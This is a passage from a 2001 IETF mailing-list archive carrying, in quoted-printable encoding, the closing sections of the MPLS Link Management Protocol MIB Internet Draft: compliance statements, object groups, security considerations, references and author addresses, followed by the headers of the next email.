=0A=
lmpModuleCompliance MODULE-COMPLIANCE=0A=
   STATUS current=0A=
   DESCRIPTION=0A=
       "Compliance statement for agents that support the=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
37]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
        MPLS LMP MIB."=0A=
   MODULE -- this module=0A=
=0A=
      -- The mandatory groups have to be implemented=0A=
      -- by all LMP-enabled devices. However, they may all be =
supported=0A=
      -- as read-only objects in the case where manual=0A=
      -- configuration is unsupported.=0A=
=0A=
      MANDATORY-GROUPS    { lmpNodeGroup,=0A=
                            lmpControlChannelGroup,=0A=
                            lmpLinkPropertyCorrelationGroup,=0A=
                            lmpPerfGroup,=0A=
                            lmpTeLinkGroup,=0A=
                            lmpDataBearingLinkGroup }=0A=
=0A=
      GROUP lmpLinkVerificationGroup=0A=
      DESCRIPTION=0A=
          "This group is mandatory for devices which support=0A=
           the link verification procedure."=0A=
=0A=
      -- Scalars=0A=
=0A=
      OBJECT      lmpAdminStatus=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpLinkVerificationInterval=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloIntervalDefault=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloIntervalDefaultMin=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloIntervalDefaultMax=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloDeadIntervalDefault=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
38]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloDeadIntervalDefaultMin=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloDeadIntervalDefaultMax=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      -- lmpNbrTable=0A=
=0A=
      OBJECT      lmpNbrLinkSumRetransmitInterval=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpNbrLinkSumRetransmitTimeout=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpNbrRowStatus=0A=
      SYNTAX      INTEGER { active(1), notInService(2),=0A=
                            createAndGo(4), destroy(6) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "The notReady(3) and createAndWait(5) states need=0A=
           not be supported."=0A=
=0A=
      OBJECT      lmpNbrStorageType=0A=
      SYNTAX      INTEGER { other(1) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Only other(1) needs to be supported."=0A=
=0A=
      -- lmpControlChannelTable=0A=
=0A=
      OBJECT      lmpCcAuthentication=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcConfigRetransmitInterval=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
39]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcConfigRetransmitTimeout=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloIntervalMin=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloIntervalMax=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloDeadIntervalMin=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcHelloDeadIntervalMax=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpCcRowStatus=0A=
      SYNTAX      INTEGER { active(1), notInService(2),=0A=
                            createAndGo(4), destroy(6) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "The notReady(3) and createAndWait(5) states need=0A=
           not be supported."=0A=
=0A=
      OBJECT      lmpCcOperStatus=0A=
      SYNTAX      INTEGER { up(1), down(2) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "A value of active(3), configuring(4), goingDown(5)=0A=
           need not be supported."=0A=
=0A=
      OBJECT      lmpCcStorageType=0A=
      SYNTAX      INTEGER { other(1) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
40]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
          "Only other(1) needs to be supported."=0A=
=0A=
      -- lmpLinkVerificationTable=0A=
=0A=
      OBJECT      lmpVerifyInterval=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpVerifyDeadInterval=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpVerifyAllLinks=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      -- lmpTeLinkTable=0A=
=0A=
      OBJECT      lmpTeLinkNbrNodeId=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required if the link verification=0A=
           procedure is enabled."=0A=
=0A=
      OBJECT      lmpRemoteTeLinkId=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required if the link verification=0A=
           procedure is enabled."=0A=
=0A=
      OBJECT      lmpRemoteTeLinkType=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required if the link verification=0A=
           procedure is enabled."=0A=
=0A=
      OBJECT      lmpTeLinkVerification=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpTeLinkFaultIsolation=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
41]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
      OBJECT      lmpTeLinkDwdm=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpTeLinkEncodingType=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpTeLinkBitRate=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpTeLinkWavelength=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required."=0A=
=0A=
      OBJECT      lmpTeLinkOperStatus=0A=
      SYNTAX      INTEGER { up(1), down(2), degraded(4) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "The testing(3) state need not be supported."=0A=
=0A=
      OBJECT      lmpTeLinkRowStatus=0A=
      SYNTAX      INTEGER { active(1), notInService(2),=0A=
                            createAndGo(4), destroy(6) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "The notReady(3) and createAndWait(5) states need=0A=
           not be supported."=0A=
=0A=
      OBJECT      lmpTeLinkStorageType=0A=
      SYNTAX      INTEGER { other(1) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Only other(1) needs to be supported."=0A=
=0A=
      -- lmpDataBearingLinkTable=0A=
=0A=
      OBJECT      lmpDataBearingLinkRemoteIfId=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Write access is not required if the link verification=0A=
           procedure is enabled."=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
42]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
      OBJECT      lmpDataBearingLinkOperStatus=0A=
      SYNTAX      INTEGER { up(1), down(2), degraded(4) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "A value of testing(3) need not be supported."=0A=
=0A=
      OBJECT      lmpDataBearingLinkRowStatus=0A=
      SYNTAX      INTEGER { active(1), notInService(2),=0A=
                            createAndGo(4), destroy(6) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "The notReady(3) and createAndWait(5) states need=0A=
           not be supported."=0A=
=0A=
      OBJECT      lmpDataBearingLinkStorageType=0A=
      SYNTAX      INTEGER { other(1) }=0A=
      MIN-ACCESS  read-only=0A=
      DESCRIPTION=0A=
          "Only other(1) needs to be supported."=0A=
=0A=
   ::=3D { lmpCompliances 1 }=0A=
=0A=
-- Units of conformance=0A=
=0A=
lmpNodeGroup OBJECT-GROUP=0A=
   OBJECTS { lmpAdminStatus,=0A=
             lmpNbrAdminStatus,=0A=
             lmpNbrOperStatus,=0A=
             lmpNbrRowStatus,=0A=
             lmpNbrStorageType,=0A=
             lmpUnprotectedTrapEnable=0A=
           }=0A=
   STATUS  current=0A=
   DESCRIPTION=0A=
          "Collection of objects needed for LMP node configuration."=0A=
   ::=3D { lmpGroups 1 }=0A=
=0A=
lmpControlChannelGroup OBJECT-GROUP=0A=
   OBJECTS {=0A=
             lmpCcNbrNodeId,=0A=
             lmpNbrLinkSumRetransmitInterval,=0A=
             lmpNbrLinkSumRetransmitTimeout,=0A=
             lmpNbrAdminStatus,=0A=
             lmpNbrOperStatus,=0A=
             lmpNbrRowStatus,=0A=
             lmpNbrStorageType,=0A=
             lmpCcHelloIntervalDefault,=0A=
             lmpCcHelloIntervalDefaultMin,=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
43]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
             lmpCcHelloIntervalDefaultMax,=0A=
             lmpCcHelloDeadIntervalDefault,=0A=
             lmpCcHelloDeadIntervalDefaultMin,=0A=
             lmpCcHelloDeadIntervalDefaultMax,=0A=
             lmpCcNbrNodeId,=0A=
             lmpRemoteCcId,=0A=
             lmpCcAuthentication,=0A=
             lmpCcConfigRetransmitInterval,=0A=
             lmpCcConfigRetransmitTimeout,=0A=
             lmpCcHelloInterval,=0A=
             lmpCcHelloIntervalMin,=0A=
             lmpCcHelloIntervalMax,=0A=
             lmpCcHelloDeadInterval,=0A=
             lmpCcHelloDeadIntervalMin,=0A=
             lmpCcHelloDeadIntervalMax,=0A=
             lmpCcOperStatus,=0A=
             lmpCcAdminStatus,=0A=
             lmpCcRowStatus,=0A=
             lmpCcStorageType,=0A=
             lmpCcUpDownTrapEnable=0A=
           }=0A=
   STATUS  current=0A=
   DESCRIPTION=0A=
          "Collection of objects needed for LMP interface=0A=
           configuration."=0A=
   ::=3D { lmpGroups 2 }=0A=
=0A=
lmpLinkPropertyCorrelationGroup OBJECT-GROUP=0A=
   OBJECTS { lmpLinkPropertyMismatchTrapEnable }=0A=
   STATUS  current=0A=
   DESCRIPTION=0A=
          "Collection of objects needed to implement the link=0A=
           property correlation procedure."=0A=
   ::=3D { lmpGroups 3 }=0A=
=0A=
lmpLinkVerificationGroup OBJECT-GROUP=0A=
   OBJECTS { lmpLinkVerificationInterval,=0A=
             lmpVerifyInterval,=0A=
             lmpVerifyDeadInterval,=0A=
             lmpVerifyTransportMechanism,=0A=
             lmpVerifyAllLinks=0A=
           }=0A=
   STATUS  current=0A=
   DESCRIPTION=0A=
          "Collection of objects needed to implement the link=0A=
           verification procedure."=0A=
   ::=3D { lmpGroups 4 }=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
44]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
lmpPerfGroup OBJECT-GROUP=0A=
   OBJECTS { lmpCcHCInOctets,=0A=
             lmpCcInDiscards,=0A=
             lmpCcInErrors,=0A=
             lmpCcHCOutOctets,=0A=
             lmpCcOutDiscards,=0A=
             lmpCcOutErrors,=0A=
             lmpCcHCHelloReceived,=0A=
             lmpCcHCHelloSent,=0A=
             lmpCcConfigReceived,=0A=
             lmpCcConfigSent,=0A=
             lmpCcConfigRetransmit,=0A=
             lmpCcLinkSummaryReceived,=0A=
             lmpCcLinkSummarySent,=0A=
             lmpCcLinkSummaryRetransmit,=0A=
             lmpCcChannelFailReceived,=0A=
             lmpCcChannelFailSent,=0A=
             lmpCcChannelActiveReceived,=0A=
             lmpCcChannelActiveSent,=0A=
             lmpDataBearingLinkTestReceived,=0A=
             lmpDataBearingLinkTestSent=0A=
           }=0A=
   STATUS  current=0A=
   DESCRIPTION=0A=
          "Collection of objects needed for providing performance=0A=
           information about LMP interfaces and data-bearing links."=0A=
   ::=3D { lmpGroups 5 }=0A=
=0A=
lmpTeLinkGroup OBJECT-GROUP=0A=
   OBJECTS { lmpTeLinkNbrNodeId,=0A=
             lmpRemoteTeLinkId,=0A=
             lmpRemoteTeLinkType,=0A=
             lmpTeLinkVerification,=0A=
             lmpTeLinkFaultIsolation,=0A=
             lmpTeLinkDwdm,=0A=
             lmpTeLinkEncodingType,=0A=
             lmpTeLinkBitRate,=0A=
             lmpTeLinkOperStatus,=0A=
             lmpTeLinkWavelength,=0A=
             lmpTeLinkRowStatus,=0A=
             lmpTeLinkStorageType,=0A=
             lmpTeLinkTrapEnable=0A=
           }=0A=
   STATUS  current=0A=
   DESCRIPTION=0A=
          "Collection of objects needed for TE link configuration."=0A=
   ::=3D { lmpGroups 6 }=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
45]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
lmpDataBearingLinkGroup OBJECT-GROUP=0A=
   OBJECTS { lmpDataBearingLinkType,=0A=
             lmpDataBearingLinkRemoteIfId,=0A=
             lmpDataBearingLinkOperStatus,=0A=
             lmpDataBearingLinkRowStatus,=0A=
             lmpDataBearingLinkStorageType=0A=
           }=0A=
   STATUS  current=0A=
   DESCRIPTION=0A=
          "Collection of objects needed for data-bearing link=0A=
           configuration."=0A=
   ::=3D { lmpGroups 7 }=0A=
=0A=
lmpNotificationGroup NOTIFICATION-GROUP=0A=
   NOTIFICATIONS { lmpTeLinkPropertyMismatch,=0A=
                   lmpDataBearingLinkPropertyMismatch,=0A=
                   lmpUnprotected,=0A=
                   lmpControlChannelUp,=0A=
                   lmpControlChannelDown,=0A=
                   lmpTeLinkDegraded }=0A=
   STATUS  current=0A=
   DESCRIPTION=0A=
          "Set of notifications implemented in this module.=0A=
           None is mandatory."=0A=
   ::=3D { lmpGroups 8 }=0A=
=0A=
-- End of LMP-MIB=0A=
END=0A=
=0A=
=0A=
=0A=
10.  Security Considerations=0A=
=0A=
   It is clear that this MIB is potentially useful for monitoring of =
LMP=0A=
   enabled devices. This MIB can also be used for configuration of =
cer-=0A=
   tain objects, and anything that can be configured can be =
incorrectly=0A=
   configured, with potentially disastrous results.=0A=
=0A=
   At this writing, no security holes have been identified beyond =
those=0A=
   that SNMP Security [SNMPArch] is itself intended to address.  =
These=0A=
   relate to primarily controlled access to sensitive information =
and=0A=
   the ability to configure a device - or which might result from =
opera-=0A=
   tor error, which is beyond the scope of any security =
architecture.=0A=
=0A=
   There are a number of management objects defined in this MIB =
which=0A=
   have a MAX-ACCESS clause of read-write and/or read-create. Such=0A=
   objects may be considered sensitive or vulnerable in some network=0A=
   environments. The support for SET operations in a non-secure=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
46]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   environment without proper protection can have a negative effect =
on=0A=
   network operations. The use of SNMP Version 3 is recommended over=0A=
   prior versions, for configuration control, as its security model =
is=0A=
   improved.=0A=
=0A=
   SNMPv1 or SNMPv2 are by themselves not a secure environment. Even =
if=0A=
   the network itself is secure (for example by using IPSec =
[IPSEC]),=0A=
   there is no control as to who on the secure network is allowed to=0A=
   access and GET/SET (read/change/create/delete) the objects in =
this=0A=
   MIB. It is recommended that the implementers consider the =
security=0A=
   features as provided by the SNMPv3 framework. Specifically, the =
use=0A=
   of the User-based Security Model [SNMPv3USM] and the View-based=0A=
   Access Control [SNMPv3VACM] is recommended. It is then a=0A=
   customer/user responsibility to ensure that the SNMP entity =
giving=0A=
   access to an instance of this MIB is properly configured to give=0A=
   access to the objects only to those principals (users) that have =
leg-=0A=
   itimate rights to indeed GET or SET (change/create/delete) them.=0A=
=0A=
   There are a number of managed objects in this MIB that may =
contain=0A=
   information that may be sensitive from a business perspective, in=0A=
   that they represent a customer's interface to the G-MPLS network.=0A=
   Allowing uncontrolled access to these objects could result in =
mali-=0A=
   cious and unwanted disruptions of network traffic or incorrect =
confi-=0A=
   gurations for these customers. There are no objects that are =
particu-=0A=
   larly sensitive in their own right, such as passwords or monetary=0A=
   amounts.=0A=
=0A=
=0A=
=0A=
11.  Acknowledgments=0A=
=0A=
   The general structure of this draft has been modeled around =
draft-=0A=
   ietf-mpls-lsr-mib-06.txt.=0A=
=0A=
   The authors wish to thank Dmitry Ryumkin.=0A=
=0A=
=0A=
12.  References=0A=
=0A=
   [LMP]         Lang, J., Mitra, K., Drake, J., Kompella, K.,=0A=
                 Rekhter, Y., Berger, L., Saha, S., Basak, D.,=0A=
                 Sandick, H., Zinin, A., and Rajagopalan, B.,=0A=
                 "Link Management Protocol", Internet Draft=0A=
                 <draft-ietf-mpls-lmp-02.txt>, March 2001.=0A=
=0A=
   [GMPLS]       Ashwood-Smith, P., Banarjee, A., Berger, L.,=0A=
                 Bernstein, G., Drake, J., Fan, Y., Kompella, K.,=0A=
                 Mannie, E., Lang, J., Rajagopalan, B., Rekhter, Y.,=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
47]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
                 Saha, D., Sharma, V., Swallow, G., and Tang, Z.,=0A=
                 "Generalized MPLS Signaling Function Description",=0A=
                 Internet Draft=0A=
                 <draft-ietf-mpls-generalized-signaling-04.txt>,=0A=
                 May 2001.=0A=
=0A=
   [BUNDLE]      Kompella, K., Rekhter, Y., and Berger, L.,=0A=
                 "Link Bundling in MPLS Traffic Engineering",=0A=
                 Internet Draft <draft-kompella-mpls-bundle-05.txt>,=0A=
                 February 2001.=0A=
=0A=
   [BUNDLE-MIB]  Dubuc, M., Dharanikota, S. Nadeau, T., Lang, J.,=0A=
                 "Link Bundling Management Information Base using=0A=
   SMIv2",=0A=
                 Internet Draft =
<draft-dubuc-mpls-bundle-mib-01.txt>,=0A=
                 May 2001.=0A=
=0A=
   [Assigned]    Reynolds, J., and J. Postel, "Assigned Numbers",=0A=
                 RFC 1700, October 1994. See also:=0A=
                 http://www.isi.edu/in-notes/iana/assignments/smi-=0A=
                 numbers=0A=
=0A=
   [IANAFamily]  Internet Assigned Numbers Authority (IANA), ADDRESS=0A=
                 FAMILY NUMBERS, (http://www.isi.edu/in-=0A=
                 notes/iana/assignements/address-family-numbers),=0A=
                 for MIB see:=0A=
                 ftp://ftp.isi.edu/mib/ianaaddressfamilynumbers.mib=0A=
=0A=
   [SNMPArch]    Harrington, D., Presuhn, R., and B. Wijnen, "An=0A=
                 Architecture for Describing SNMP Management=0A=
                 Frameworks", RFC 2571, April 1999.=0A=
=0A=
   [SMIv1]       Rose, M., and K. McCloghrie, "Structure and=0A=
                 Identification of Management Information for =
TCP/IP-=0A=
                 based Internets", RFC 1155, May 1990.=0A=
=0A=
   [SNMPv1MIBDef]Rose, M., and K. McCloghrie, "Concise MIB=0A=
                 Definitions", RFC 1212, March 1991.=0A=
=0A=
   [SNMPv1Traps] M. Rose, "A Convention for Defining Traps for use=0A=
                 with the SNMP", RFC 1215, March 1991.=0A=
=0A=
   [RFC2572]     Case, J., Harrington D., Presuhn R., and B. Wijnen,=0A=
                 "Message Processing and Dispatching for the Simple=0A=
                 Network Management Protocol (SNMP)", RFC 2572,=0A=
                 April 1999.=0A=
=0A=
   [RFC2574]     Blumenthal, U., and B. Wijnen, "User-based Security=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
48]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
                 Model (USM) for version 3 of the Simple Network=0A=
                 Management Protocol (SNMPv3)", RFC 2574, April=0A=
                 1999.=0A=
=0A=
   [RFC1905]     Case, J., McCloghrie, K., Rose, M., and S.=0A=
                 Waldbusser, "Protocol Operations for Version 2 of=0A=
                 the Simple Network Management Protocol (SNMPv2)",=0A=
                 RFC 1905, January 1996.=0A=
=0A=
   [RFC2573]     Levi, D., Meyer, P., and B. Stewart, "SNMPv3=0A=
                 Applications", RFC 2573, April 1999.=0A=
=0A=
   [RFC2575]     Wijnen, B., Presuhn, R., and K. McCloghrie, "View-=0A=
                 based Access Control Model (VACM) for the Simple=0A=
                 Network Management Protocol (SNMP)", RFC 2575,=0A=
                 April 1999.=0A=
=0A=
   [RFC2570]     Case, J., Mundy, R., Partain, D., and B. Stewart,=0A=
                 "Introduction to Version 3 of the Internet-standard=0A=
                 Network Management Framework", RFC 2570, April=0A=
                 1999.=0A=
=0A=
   [SMIv2]       McCloghrie, K., Perkins, D., Schoenwaelder, J.,=0A=
                 Case, J., Rose, M., and S. Waldbusser,=0A=
                 "Structure of Management Information=0A=
                 Version 2 (SMIv2)", RFC 2578, April 1999.=0A=
=0A=
   [SNMPv2TC]    McCloghrie, K., Perkins, D., Schoenwaelder, J.,=0A=
                 Case, J., Rose, M., and S. Waldbusser,=0A=
                 "Textual Conventions for SMIv2",=0A=
                 RFC 2579, April 1999.=0A=
=0A=
   [SNMPv2Conf]  McCloghrie, K., Perkins, D., Schoenwaelder, J.,=0A=
                 Case, J., Rose, M., and S. Waldbusser,=0A=
                 "Conformance Statements for SMIv2",=0A=
                 RFC 2580, April 1999.=0A=
=0A=
   [SNMPv1]      Case, J., Fedor, M., Schoffstall, M., and J. Davin,=0A=
                 "Simple Network Management Protocol", RFC 1157, May=0A=
                 1990.=0A=
=0A=
   [SNMPv2c]     Case, J., McCloghrie, K., Rose, M., and S.=0A=
                 Waldbusser, "Introduction to Community-based=0A=
                 SNMPv2", RFC 1901, January 1996.=0A=
=0A=
   [SNMPv2TM]    Case, J., McCloghrie, K., Rose, M., and S.=0A=
                 Waldbusser, "Transport Mappings for Version 2 of=0A=
                 the Simple Network Management Protocol (SNMPv2)",=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
49]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
                 RFC 1906, January 1996.=0A=
=0A=
   [SNMPv3MP]    Case, J., Harrington D., Presuhn R., and B. Wijnen,=0A=
                 "Message Processing and Dispatching for the Simple=0A=
                 Network Management Protocol (SNMP)", RFC 2272,=0A=
                 January 1998.=0A=
=0A=
   [SNMPv3USM]   Blumenthal, U., and B. Wijnen, "User-based Security=0A=
                 Model (USM) for version 3 of the Simple Network=0A=
                 Management Protocol (SNMPv3)", RFC 2574, April=0A=
                 1999.=0A=
=0A=
   [SNMPv2PO]    Case, J., McCloghrie, K., Rose, M., and S.=0A=
                 Waldbusser, "Protocol Operations for Version 2 of=0A=
                 the Simple Network Management Protocol (SNMPv2)",=0A=
                 RFC 1905, January 1996.=0A=
=0A=
   [SNMPv3App]   Levi, D., Meyer, P., and B. Stewart, "SNMPv3=0A=
                 Applications", RFC 2273, January 1998.=0A=
=0A=
   [SNMPv3VACM]  Wijnen, B., Presuhn, R., and K. McCloghrie, "View-=0A=
                 based Access Control Model (VACM) for the Simple=0A=
                 Network Management Protocol (SNMP)", RFC 2575,=0A=
                 April 1999.=0A=
=0A=
   [IPSEC]       Kent, S., and Atkinson, R., "Security Architecture=0A=
                 for the Internet Protocol", RFC 2401, November=0A=
                 1998.=0A=
=0A=
   [IFMIB]       McCloghrie, K., and Kastenholtz, F., "The =
Interfaces=0A=
                 Group MIB", RFC 2863, June 2000.=0A=
=0A=
   [BCP14]       Bradner, S., "Key words for use in RFCs to Indicate=0A=
                 Requirement Levels", BCP 14, RFC 2119, March 1997.=0A=
=0A=
=0A=
=0A=
13.  Authors' Addresses=0A=
=0A=
Martin Dubuc                         Jonathan P. Lang=0A=
edgeflow, Inc.                       Calient Networks, Inc.=0A=
329 March Rd.                        25 Castilian Drive=0A=
Kanata, ON, CANADA K2K 2E1           Goleta, CA 93117=0A=
Phone: +1-613-270-9279 x253          Email: jplang@calient.net=0A=
Email: martin.dubuc@edgeflow.com=0A=
=0A=
Sudheer Dharanikota                  Evan McGinnis=0A=
Nayna Networks, Inc.                 Calient Networks, Inc.=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
50]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
157 Topaz Street                     5853 Rue Ferrari=0A=
Milipitas, CA 95035                  San Jose, CA 95138=0A=
Phone: +1-408-956-8000 x357          Email: evan@calient.net=0A=
Email: sudheer@nayna.com=0A=
=0A=
Thomas D. Nadeau=0A=
Cisco Systems, Inc.=0A=
300 Apollo Drive=0A=
Chelmsford, MA 01824=0A=
Phone: +1-978-244-3051=0A=
Email: tnadeau@cisco.com=0A=
=0A=
=0A=
=0A=
14.  Full Copyright Statement=0A=
=0A=
=0A=
   Copyright (C) The Internet Society (2000). All Rights Reserved.=0A=
=0A=
   This document and translations of it may be copied and furnished =
to=0A=
   others, and derivative works that comment on or otherwise explain =
it=0A=
   or assist in its implementation may be prepared, copied, =
published=0A=
   and distributed, in whole or in part, without restriction of any=0A=
   kind, provided that the above copyright notice and this paragraph =
are=0A=
   included on all such copies and derivative works. However, this =
docu-=0A=
   ment itself may not be modified in any way, such as by removing =
the=0A=
   copyright notice or references to the Internet Society or other=0A=
   Internet organizations, except as needed for the purpose of =
develop-=0A=
   ing Internet standards in which case the procedures for =
copyrights=0A=
   defined in the Internet Standards process must be followed, or as=0A=
   required to translate it into languages other than English.=0A=
=0A=
   The limited permissions granted above are perpetual and will not =
be=0A=
   revoked by the Internet Society or its successors or assigns.  =
This=0A=
   document and the information contained herein is provided on an =
"AS=0A=
   IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING =
TASK=0A=
   FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT =
NOT=0A=
   LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION HEREIN =
WILL=0A=
   NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF =
MERCHANTABILITY=0A=
   OR FITNESS FOR A PARTICULAR PURPOSE.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
51]=0A=
=0C=0A=

------_=_NextPart_000_01C0E9E7.1310F22E--


From owner-mpls@UU.NET  Thu May 31 13:37:22 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA03288
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 13:37:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrko01778;
	Thu, 31 May 2001 17:35:35 GMT
Received: by mail-control.mail.uu.net 
	id QQkrko18281
	for mpls-outgoing; Thu, 31 May 2001 17:35:02 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrko18272
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 17:34:59 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrko06842
	for <mpls@UU.NET>; Thu, 31 May 2001 17:34:11 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkrko23966
	for <mpls@UU.NET>; Thu, 31 May 2001 17:34:11 GMT
